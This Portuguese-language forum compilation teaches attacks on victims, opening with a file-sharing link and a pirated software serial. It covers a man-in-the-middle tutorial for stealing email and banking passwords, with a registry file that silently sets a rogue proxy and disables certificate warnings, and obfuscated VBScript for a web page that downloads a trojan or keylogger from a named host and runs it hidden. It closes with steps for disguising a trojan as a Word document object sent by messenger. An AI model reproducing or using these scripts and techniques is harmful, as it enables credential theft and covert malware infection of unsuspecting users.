http://rapidshare.com/files/21853796/At ... .part2.rar

Serial: WFDWY-XQXJF-RHRYG-BG7RQ-BBDHM

Mozilla Firefox: http://baixaki.ig.com.br/download/Mozilla-Firefox.htm

Técnica - Men In The Middle - Interceptação de dados

COMO FUNCIONA?

A técnica “Men In The Middle” (Homem No Meio ) consiste em se introduzir entre o usuário (cliente) e ao servidor que ele está acessado, para interceptar dados sigilosos que o mesmo está fornecendo. Parece simples falando... mas na realidade é! Ela é uma forma de sniffing, porém com a vantagem de que os dados vêm em texto puro para o hacker, dispensando os serviços dos decrypters, é usada para roubo de senhas de email, senhas bancárias ou qualquer outro tipo de informação sigilosa fornecida ao navegador, tudo sem precisar desativar antivírus, firewall e fazer phishing, o que faz dessa uma excelente técnica. Mesmo um usuário com certa experiência em informática não desconfiaria de absolutamente nada antes de fornecer suas informações confidenciais ao site, pois ele tem certeza de que o ambiente está seguro.

Em uma conexão normal com um servidor seguro, o cliente envia suas informações através de um canal criptografado, que por sua vez retorna as informações desejadas ao cliente, pelo mesmo caminho

Cliente trocando informações com um servidor num ambiente seguro.

Porém, quando usamos a técnica “Men In The Middle” no cliente, nos passamos pelo servidor e enganamos o cliente, e também nos passamos pelo cliente enganando o servidor. Dessa forma nos introduzimos no meio do canal, recebendo todas as informações sigilosas, como ilustrado no esquema abaixo:

Cliente pensando que está trocando informações com um servidor num ambiente seguro.
PARTE PRÁTICA: USANDO O ACHILLES

Para fazer a interceptação, usaremos o programa Achilles, disponibilizado para download no fim do tutorial, que é um servidor Proxy de fácil configuração e utilização, se tornando um dos grandes aliados do hacker mal intencionado. Posteriormente faremos algumas configurações no PC da vítima -- não fique triste ainda, mais pra frente mostrarei um método de conseguir fazer essas configurações sem contato físico com a máquina -– para que fique tudo preparado para conseguirmos interceptar. Configuração do Achilles:

Janela principal do Achilles 0.27.


1.1 Em Listen on Port (Escutar na Porta) coloque o número da porta em que usaremos para se conectar ao PC da vítima. Recomendo usar a porta 8080, mas se estiver bloqueada pelo firewall sinta-se a vontade para testar a porta que quiser.

1.2. Em Intercept Modes selecione as caixas “Intercept mode ON” para receber os logs e “Ignore .jpg/.gif” para desabilitar as imagens, facilitando a leitura dos logs.

1.3. Agora clique no ícone Play e espere aparecer Running no Status do programa.

1.4. Clique no ícone C (Cliente) e S (Servidor) para abrir a janela dos logs que você receberá.

Pronto, com isso finalizamos a configuração do Achilles, agora vamos a segunda parte, onde faremos algumas configurações no browser do PC da vítima para permitir nossa interceptação. Lembrando que esse tutorial foi feito com base no Internet Explorer.

2.1. Abra o Internet Explorer da vítima e vá no menu Ferramentas > Opções de Internet. Agora clique na aba Conexões e clique em Configurações da rede local (LAN).

2.2. Primeiro marque o campo “Usar um servidor Proxy para a rede local” e posteriormente coloque seu IP em Endereço e a porta que configuramos no Achilles, no caso a 8080. Se o seu IP for dinâmico use o NO-IP e crie um endereço DNS fixo para seu IP. Clique em OK.

2.3. Agora vá na aba Avançadas e desmarque as seguites opções: ”Avisar quando o certificado do site for inválido” e “Avisar se os formulários submetidos estiverem sendo redirecionados” e clique em OK novamente.

Está tudo pronto para ser interceptado, basta esperar a vítima se logar nos sites, que as informações aparecerão nas janelas de logs do Achilles no seu computador. Como promessa é dívida agora mostrarei um jeito de fazer essa configuração no IE da vítima remotamente.

Para simplificar, o que você terá que fazer é editar o script abaixo, salvar como arquivo de registro do Windows (.reg) e executar no computador da vítima. Isso pode agilizar o trabalho fisicamente ou pode ser enviado por MSN para a vítima usando a Engenharia Social para fazer ela executar o arquivo. Vale a ajuda de todas as técnicas que você souber agora.


Código: Selecionar todos
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
”ProxyEnable”=dword:00000001
“ProxyServer”=”127.0.0.1:8080”

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
”WarnonBadCertRecving”=dword:00000000
”WarnOnPostRedirect”=dword:00000000



3.1. Abra o Bloco de Notas, copie o código acima e substitua “ProxyServer”=”127.0.0.1:8080” para “ProxyServer”=”seu.endereço.ip:sua.porta”.

3.2. Salve o arquivo com o nome arquivo.reg –- tanto faz o nome, o importante é salvar como tipo “Todos os arquivos” e inserir a extensão .reg no nome do arquivo –- feito isso basta executar o arquivo no PC da vítima e esperar os logs chegarem.

Executar Keylogger ou trojan em uma pagina da web

Criar pagina com auto-infect de keylogger
bO objetivo desse tutorial é colocar seu server de um trojan ou de um keylogger em uma pagina em HTML na qual uma pessoa acessa e começa a fazer o download do server, o mais interessante é que o download começa sem ela saber que esta baixando algo.
Eu estive procurando bastante sobre o mesmo, e acredito que muitos vão achar que ''isso é faxada'' mas realmente funciona,o problema é que existe muitas técnicas, assim como essa muito antiga E QUE NÂO FUNCIONAM MAIS.Essa esta testada e aprovada.
Vamos la ?

1- Iremos precisar de 4 coisas :
a) O código Vbscript.
b) SERVER do trojan ou keylogger de conexão direta ou reversa INDETECTÀVEL pelos AVs.
c) Bloco de notas (NOTEPAD)
d)Site para hospedagem da página em html(espero que encotrem um bom)

2- Codigo Vbscript :

Código:


on error resume next
LNK1= "http://bruxinhaloira."
LNK2= "ifrance.com"
LNK3= "/flash.com"
LNK = LNK1&LNK2&LNK3
Set df = document.createElement("object")
PB1="clsid:BD96C556-65A3-11D0"
PB2="-983A-00C04FC29E36"
PPB=PB1&PB2
df.setAttribute "classid",PPB
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
ww1="Ad"
ww2="od"
ww3="b."
ww4="st"
ww5="re"
ww6="am"

Cpo01=ww1&ww2&ww3&ww4&ww5&ww6
Cpo05=Cpo01
set S = df.createobject(Cpo05,"")
S.type = 1

Cpo06="GET"
x.Open Cpo06, LNK, False
x.Send
FFILE0="flash.com"
Cpo10="Scripting"
Cpo11=".FileSystemObject"
Cpo12=Cpo10&Cpo11

'set F = df.createobject("Scripting.FileSystemObject","")
set F = df.createobject(Cpo12,"")
set tmp = F.GetSpecialFolder(2)
FFILE0= F.BuildPath(tmp,FFILE0)
S.open
S.write x.responseBody
S.savetofile FFILE0,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute FFILE0,"","","open",0




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3- Copie o codigo no bloco de notas (NOTEPAD)

4- Agora vamos editar de acordo com suas preferências ( esse código já está com minhas especificações, ou seja, já ta com o endereço da minha página com o server do NYNJA SPY hospedado (FLASH.COM ). É um link que da acesso direto para download! Ex: http://www.host.com/server.exe obs: se não for um link de acesso direto não vai funcionar.

5- Vocês terão que modificar somente o trecho do código que está logo no ínicio e um perto do final do código.Lembrando que estou utilizando o meu endereço url e que voçês tambem podem utilizar se quiserem usar o Trojan NINJA-SPY, mas ele Não está totalmente indetectável.

- Notem que existe um endereço URL http://bruxinhaloira.ifrance.com/flash.com dividido em 3 links! Trecho do código abaixo:

Código:


on error resume next
LNK1= "http://bruxinhaloira." <-----------Aqui esta o endereço dividido em 3 links: ( LNK1, LNK2, LNK3 )
LNK2= "ifrance.com"
LNK3= "/flash.com"
LNK = LNK1&LNK2&LNK3 < ----------E aqui a junção dos 3 links formando:http://bruxinhaloira.ifrance.com/flash.com

6- Agora terão que modificar mais um trecho logo abaixo do anterior...
Notem que aqui está o nome do server ( flash ) mais a extensão ( .com ) : ( flash.com )


Trecho do código abaixo:

Código:

Cpo06="GET"
x.Open Cpo06, LNK, False
x.Send
FFILE0="flash.com" <----------Aqui está o nome do Server com a extensão: ( flash.com ): obs: Sem a barra
Cpo10="Scripting"
Cpo11=".FileSystemObject"
Cpo12=Cpo10&Cpo11

7- Agora o último trecho do codigo a ser modificado :
(notem que eu destaquei de preto o link do codigo a ser modificado.)

Código:



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8- Pronto está configurado o código no bloco de notas, agora é só salvar com com extensão .HTML
( Arquivo + salvar como )
Ex: Index.html

9- Notaram que eu deixei exposto nos exemplos o endereço URL do server NINJA-SPY ( http://bruxinhaloira.ifrance.com/flash.com ). Aqui eu utilizei esse server com extensãoo .COM, mas normalmente o servidor do ninja spy tem extensão .SCR.Tive que converter para extensão .COM porque esse site que eu hospedei http://www.ifrance.com aceita com mais facilidade arquivos com extensão .COM, mas se voçês precisarem de um site para hospedar arquivos .EXE ou outra extensão tem o http://www.poctha.ru lá voçês podem hospedar arquivos .exe ou outra extensão com link direto para download.

Obs: Alterei a extensão do servidor .SCR para .COM somente renomeado e isso não corrompeu o server mas talvez não funcione para outras extensões

colocando trojan em um domento de texto

Trojans em Documentos de Texto
Utilize esta ferramenta para inserir um trojan
em arquivo de texto, e assim, poder mandar
para uma pessoa via MSN sem problemas,ou seja não precisa zipar.
E então achei interessante postar aqui, trata-se do packager.

Vai em Iniciar> Executar> e digite Packager.

Abra uma figura com qualquer editor de imagem, selecione
a figura e depois cole no PACKAGER, depois selecione menu
arquivo e importar, e escolha o server que for.

Vai no menu editar e escolha copiar pacote, depois abra o
wordpad que é o melhor se a vítima possuir só ele, porque se
a vitima abrir pelo word ele vai exibir aviso de risco de vírus
com o wordpad aberto ou word mande colar especial.
E escolha pacote. Já deu pra notar que estamos
criando um pacote para wordpad ou word.

Aí é só salvar o arquivo como doc, e mandar para pessoa.
Você use a sua criatividade para colocar uma legenda pedindo
pra pessoa da 2 cliques na figura. Ou então, faça como eu, eu
cliquei com botão direito da figura e fui em propriedade do objeto
e escolhi um ícone de instalação do pacote e botei uma legenda.
Fica um ícone com a seguinte legenda 'Para visualizar a imagem
instale o pacote.Se a pessoa tiver no word e der 2 cliques, vai vir
a mensagem dizendo que pode ser um vírus, caso ela clique em
instalar o pacote o ícone sumirá e no lugar do ícone vai aparecer
a imagem. Caso ela não tenha o word instalado, ela irá conseguir
abrir no wordpad, o wordpad não avisa nada ele instala direto.
a